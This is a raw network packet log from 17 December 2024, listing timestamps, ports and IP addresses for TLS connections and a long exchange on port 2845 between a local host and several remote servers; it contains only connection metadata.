Dec 17, 2024 12:13:16.947381973 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:13:16.947463036 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:13:16.947482109 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:13:16.947496891 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:13:16.947520018 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:13:16.951244116 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:13:16.951270103 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:13:16.951334953 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:13:16.951344013 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:13:16.951359987 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:13:16.951483011 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:13:16.954231977 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:13:16.954250097 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:13:16.954334021 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:13:16.954334021 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:13:16.954343081 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:13:16.954385042 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:13:16.957295895 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:13:16.957840919 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:13:16.957859993 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:13:16.957932949 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:13:16.957932949 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:13:16.957942009 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:13:16.958095074 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:13:16.960944891 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:13:16.960973024 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:13:16.961047888 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:13:16.961047888 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:13:16.961057901 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:13:16.961105108 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:13:16.964751959 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:13:16.964772940 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:13:16.964855909 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:13:16.964867115 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:13:16.964920998 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:13:16.968102932 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:13:16.968121052 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:13:16.968164921 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:13:16.968173027 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:13:16.968189955 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:13:16.968203068 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:13:16.971169949 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:13:16.971193075 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:13:16.971266031 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:13:16.971275091 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:13:16.971304893 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:13:16.971323967 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:13:16.978591919 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:13:17.139168978 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:13:17.139199018 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:13:17.139259100 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:13:17.139275074 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:13:17.139319897 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:13:17.139319897 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:13:17.143717051 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:13:17.143749952 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:13:17.143810034 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:13:17.143819094 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:13:17.143866062 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:13:17.143866062 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:13:17.146672010 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:13:17.146702051 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:13:17.146775007 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:13:17.146775007 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:13:17.146785021 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:13:17.146832943 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:13:17.150481939 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:13:17.150506020 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:13:17.150557995 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:13:17.150567055 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:13:17.150614023 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:13:17.150614023 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:13:17.153934002 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:13:17.153961897 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:13:17.153995037 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:13:17.154006958 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:13:17.154052019 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:13:17.154052019 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:13:17.157975912 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:13:17.158005953 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:13:17.158081055 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:13:17.158081055 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:13:17.158092976 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:13:17.158169985 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:13:17.161519051 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:13:17.161540031 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:13:17.161602020 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:13:17.161617041 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:13:17.161633015 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:13:17.161717892 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:13:17.164100885 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:13:17.164122105 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:13:17.164176941 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:13:17.164187908 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:13:17.164203882 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:13:17.164241076 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:13:17.165479898 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:13:17.331454039 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:13:17.331480026 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:13:17.331525087 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:13:17.331537962 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:13:17.331552982 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:13:17.331581116 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:13:17.335534096 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:13:17.335568905 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:13:17.335602999 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:13:17.335612059 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:13:17.335650921 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:13:17.335710049 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:13:17.335937977 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:13:17.355811119 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:13:18.427946091 CET	49927	443	192.168.2.5	3.125.102.39
Dec 17, 2024 12:13:18.427999020 CET	443	49927	3.125.102.39	192.168.2.5
Dec 17, 2024 12:13:18.428075075 CET	49927	443	192.168.2.5	3.125.102.39
Dec 17, 2024 12:13:18.428838968 CET	49927	443	192.168.2.5	3.125.102.39
Dec 17, 2024 12:13:18.428857088 CET	443	49927	3.125.102.39	192.168.2.5
Dec 17, 2024 12:13:19.812517881 CET	443	49927	3.125.102.39	192.168.2.5
Dec 17, 2024 12:13:19.812596083 CET	49927	443	192.168.2.5	3.125.102.39
Dec 17, 2024 12:13:19.815057039 CET	49927	443	192.168.2.5	3.125.102.39
Dec 17, 2024 12:13:19.815071106 CET	443	49927	3.125.102.39	192.168.2.5
Dec 17, 2024 12:13:19.815335035 CET	443	49927	3.125.102.39	192.168.2.5
Dec 17, 2024 12:13:19.816551924 CET	49927	443	192.168.2.5	3.125.102.39
Dec 17, 2024 12:13:19.859344006 CET	443	49927	3.125.102.39	192.168.2.5
Dec 17, 2024 12:13:21.238735914 CET	443	49927	3.125.102.39	192.168.2.5
Dec 17, 2024 12:13:21.238961935 CET	443	49927	3.125.102.39	192.168.2.5
Dec 17, 2024 12:13:21.239051104 CET	49927	443	192.168.2.5	3.125.102.39
Dec 17, 2024 12:13:21.247138977 CET	49927	443	192.168.2.5	3.125.102.39
Dec 17, 2024 12:13:21.495703936 CET	49764	443	192.168.2.5	162.159.61.3
Dec 17, 2024 12:13:21.495740891 CET	443	49764	162.159.61.3	192.168.2.5
Dec 17, 2024 12:13:21.495800972 CET	49761	443	192.168.2.5	162.159.61.3
Dec 17, 2024 12:13:21.495824099 CET	49760	443	192.168.2.5	162.159.61.3
Dec 17, 2024 12:13:21.495839119 CET	443	49761	162.159.61.3	192.168.2.5
Dec 17, 2024 12:13:21.495857000 CET	443	49760	162.159.61.3	192.168.2.5
Dec 17, 2024 12:13:21.495939970 CET	49765	443	192.168.2.5	162.159.61.3
Dec 17, 2024 12:13:21.495971918 CET	443	49765	162.159.61.3	192.168.2.5
Dec 17, 2024 12:13:21.495971918 CET	49759	443	192.168.2.5	162.159.61.3
Dec 17, 2024 12:13:21.496000051 CET	443	49759	162.159.61.3	192.168.2.5
Dec 17, 2024 12:13:28.493763924 CET	49762	443	192.168.2.5	162.159.61.3
Dec 17, 2024 12:13:28.493766069 CET	49763	443	192.168.2.5	162.159.61.3
Dec 17, 2024 12:13:28.493782043 CET	443	49762	162.159.61.3	192.168.2.5
Dec 17, 2024 12:13:28.493798018 CET	443	49763	162.159.61.3	192.168.2.5
Dec 17, 2024 12:13:28.795290947 CET	49767	443	192.168.2.5	162.159.61.3
Dec 17, 2024 12:13:28.795306921 CET	49766	443	192.168.2.5	162.159.61.3
Dec 17, 2024 12:13:28.795341015 CET	443	49767	162.159.61.3	192.168.2.5
Dec 17, 2024 12:13:28.795403957 CET	443	49766	162.159.61.3	192.168.2.5
Dec 17, 2024 12:13:29.470396042 CET	49768	443	192.168.2.5	162.159.61.3
Dec 17, 2024 12:13:29.470421076 CET	443	49768	162.159.61.3	192.168.2.5
Dec 17, 2024 12:13:29.491847992 CET	49769	443	192.168.2.5	162.159.61.3
Dec 17, 2024 12:13:29.491945982 CET	443	49769	162.159.61.3	192.168.2.5
Dec 17, 2024 12:13:39.258466005 CET	49976	2845	192.168.2.5	104.161.43.18
Dec 17, 2024 12:13:39.412791014 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:39.412879944 CET	49976	2845	192.168.2.5	104.161.43.18
Dec 17, 2024 12:13:39.413031101 CET	49976	2845	192.168.2.5	104.161.43.18
Dec 17, 2024 12:13:39.532854080 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:40.618593931 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:40.619556904 CET	49976	2845	192.168.2.5	104.161.43.18
Dec 17, 2024 12:13:40.739506960 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:40.994944096 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:41.003948927 CET	49976	2845	192.168.2.5	104.161.43.18
Dec 17, 2024 12:13:41.123716116 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:41.400378942 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:41.400434971 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:41.400444984 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:41.400491953 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:41.400506020 CET	49976	2845	192.168.2.5	104.161.43.18
Dec 17, 2024 12:13:41.400536060 CET	49976	2845	192.168.2.5	104.161.43.18
Dec 17, 2024 12:13:41.400542021 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:41.400553942 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:41.400564909 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:41.400585890 CET	49976	2845	192.168.2.5	104.161.43.18
Dec 17, 2024 12:13:41.400671959 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:41.400711060 CET	49976	2845	192.168.2.5	104.161.43.18
Dec 17, 2024 12:13:41.411257029 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:41.415378094 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:41.415429115 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:41.415451050 CET	49976	2845	192.168.2.5	104.161.43.18
Dec 17, 2024 12:13:41.426032066 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:41.426146030 CET	49976	2845	192.168.2.5	104.161.43.18
Dec 17, 2024 12:13:41.520301104 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:41.569711924 CET	49976	2845	192.168.2.5	104.161.43.18
Dec 17, 2024 12:13:41.598335981 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:41.598436117 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:41.598498106 CET	49976	2845	192.168.2.5	104.161.43.18
Dec 17, 2024 12:13:41.598521948 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:41.598532915 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:41.598576069 CET	49976	2845	192.168.2.5	104.161.43.18
Dec 17, 2024 12:13:41.605360985 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:41.605469942 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:41.605554104 CET	49976	2845	192.168.2.5	104.161.43.18
Dec 17, 2024 12:13:41.613771915 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:41.613928080 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:41.613986015 CET	49976	2845	192.168.2.5	104.161.43.18
Dec 17, 2024 12:13:41.622308969 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:41.622375011 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:41.622421980 CET	49976	2845	192.168.2.5	104.161.43.18
Dec 17, 2024 12:13:41.630773067 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:41.630912066 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:41.630971909 CET	49976	2845	192.168.2.5	104.161.43.18
Dec 17, 2024 12:13:41.639269114 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:41.639369011 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:41.639436960 CET	49976	2845	192.168.2.5	104.161.43.18
Dec 17, 2024 12:13:41.647838116 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:41.647933006 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:41.647986889 CET	49976	2845	192.168.2.5	104.161.43.18
Dec 17, 2024 12:13:41.656260014 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:41.656395912 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:41.656452894 CET	49976	2845	192.168.2.5	104.161.43.18
Dec 17, 2024 12:13:41.665030956 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:41.665158033 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:41.665218115 CET	49976	2845	192.168.2.5	104.161.43.18
Dec 17, 2024 12:13:41.673379898 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:41.673528910 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:41.673588991 CET	49976	2845	192.168.2.5	104.161.43.18
Dec 17, 2024 12:13:41.689635038 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:41.689656019 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:41.689919949 CET	49976	2845	192.168.2.5	104.161.43.18
Dec 17, 2024 12:13:41.784980059 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:41.785104990 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:41.785221100 CET	49976	2845	192.168.2.5	104.161.43.18
Dec 17, 2024 12:13:41.789195061 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:41.789310932 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:41.789359093 CET	49976	2845	192.168.2.5	104.161.43.18
Dec 17, 2024 12:13:41.797723055 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:41.797770977 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:41.797844887 CET	49976	2845	192.168.2.5	104.161.43.18
Dec 17, 2024 12:13:41.806371927 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:41.806519032 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:41.806571007 CET	49976	2845	192.168.2.5	104.161.43.18
Dec 17, 2024 12:13:41.814069986 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:41.814168930 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:41.814217091 CET	49976	2845	192.168.2.5	104.161.43.18
Dec 17, 2024 12:13:41.821603060 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:41.821698904 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:41.821748018 CET	49976	2845	192.168.2.5	104.161.43.18
Dec 17, 2024 12:13:41.829152107 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:41.829195023 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:41.829241037 CET	49976	2845	192.168.2.5	104.161.43.18
Dec 17, 2024 12:13:41.834120989 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:41.834197044 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:41.834237099 CET	49976	2845	192.168.2.5	104.161.43.18
Dec 17, 2024 12:13:41.839138985 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:41.839337111 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:41.839396000 CET	49976	2845	192.168.2.5	104.161.43.18
Dec 17, 2024 12:13:41.843925953 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:41.843976974 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:41.844016075 CET	49976	2845	192.168.2.5	104.161.43.18
Dec 17, 2024 12:13:41.848898888 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:41.848977089 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:41.849020958 CET	49976	2845	192.168.2.5	104.161.43.18
Dec 17, 2024 12:13:41.853871107 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:41.854098082 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:41.854141951 CET	49976	2845	192.168.2.5	104.161.43.18
Dec 17, 2024 12:13:41.858803034 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:41.858901024 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:41.858957052 CET	49976	2845	192.168.2.5	104.161.43.18
Dec 17, 2024 12:13:41.864353895 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:41.864478111 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:41.864526987 CET	49976	2845	192.168.2.5	104.161.43.18
Dec 17, 2024 12:13:41.868680000 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:41.868782997 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:41.868828058 CET	49976	2845	192.168.2.5	104.161.43.18
Dec 17, 2024 12:13:41.873605013 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:41.873778105 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:41.873826027 CET	49976	2845	192.168.2.5	104.161.43.18
Dec 17, 2024 12:13:41.878576040 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:41.878668070 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:41.878707886 CET	49976	2845	192.168.2.5	104.161.43.18
Dec 17, 2024 12:13:41.883610964 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:41.883701086 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:41.883753061 CET	49976	2845	192.168.2.5	104.161.43.18
Dec 17, 2024 12:13:41.888365030 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:41.888427973 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:41.888465881 CET	49976	2845	192.168.2.5	104.161.43.18
Dec 17, 2024 12:13:41.893332005 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:41.893407106 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:41.893450975 CET	49976	2845	192.168.2.5	104.161.43.18
Dec 17, 2024 12:13:41.898248911 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:41.898367882 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:41.898412943 CET	49976	2845	192.168.2.5	104.161.43.18
Dec 17, 2024 12:13:41.904978991 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:41.905051947 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:41.905097961 CET	49976	2845	192.168.2.5	104.161.43.18
Dec 17, 2024 12:13:41.908240080 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:41.908261061 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:41.908297062 CET	49976	2845	192.168.2.5	104.161.43.18
Dec 17, 2024 12:13:41.913062096 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:41.913155079 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:41.913202047 CET	49976	2845	192.168.2.5	104.161.43.18
Dec 17, 2024 12:13:41.977267981 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:41.977343082 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:41.977394104 CET	49976	2845	192.168.2.5	104.161.43.18
Dec 17, 2024 12:13:41.979578018 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:41.979676962 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:41.979715109 CET	49976	2845	192.168.2.5	104.161.43.18
Dec 17, 2024 12:13:41.984401941 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:41.984479904 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:41.984533072 CET	49976	2845	192.168.2.5	104.161.43.18
Dec 17, 2024 12:13:41.989181042 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:41.989268064 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:41.989317894 CET	49976	2845	192.168.2.5	104.161.43.18
Dec 17, 2024 12:13:41.993864059 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:41.993959904 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:41.994009972 CET	49976	2845	192.168.2.5	104.161.43.18
Dec 17, 2024 12:13:41.998050928 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:41.998091936 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:41.998147964 CET	49976	2845	192.168.2.5	104.161.43.18
Dec 17, 2024 12:13:42.002248049 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.002357960 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.002413988 CET	49976	2845	192.168.2.5	104.161.43.18
Dec 17, 2024 12:13:42.006419897 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.006571054 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.006628990 CET	49976	2845	192.168.2.5	104.161.43.18
Dec 17, 2024 12:13:42.010761976 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.010782957 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.010869026 CET	49976	2845	192.168.2.5	104.161.43.18
Dec 17, 2024 12:13:42.014360905 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.014573097 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.014624119 CET	49976	2845	192.168.2.5	104.161.43.18
Dec 17, 2024 12:13:42.018151999 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.018349886 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.018404961 CET	49976	2845	192.168.2.5	104.161.43.18
Dec 17, 2024 12:13:42.021820068 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.021881104 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.021928072 CET	49976	2845	192.168.2.5	104.161.43.18
Dec 17, 2024 12:13:42.025366068 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.025466919 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.025521040 CET	49976	2845	192.168.2.5	104.161.43.18
Dec 17, 2024 12:13:42.028853893 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.028943062 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.028994083 CET	49976	2845	192.168.2.5	104.161.43.18
Dec 17, 2024 12:13:42.032325029 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.032413006 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.032459021 CET	49976	2845	192.168.2.5	104.161.43.18
Dec 17, 2024 12:13:42.034339905 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.034399033 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.034446955 CET	49976	2845	192.168.2.5	104.161.43.18
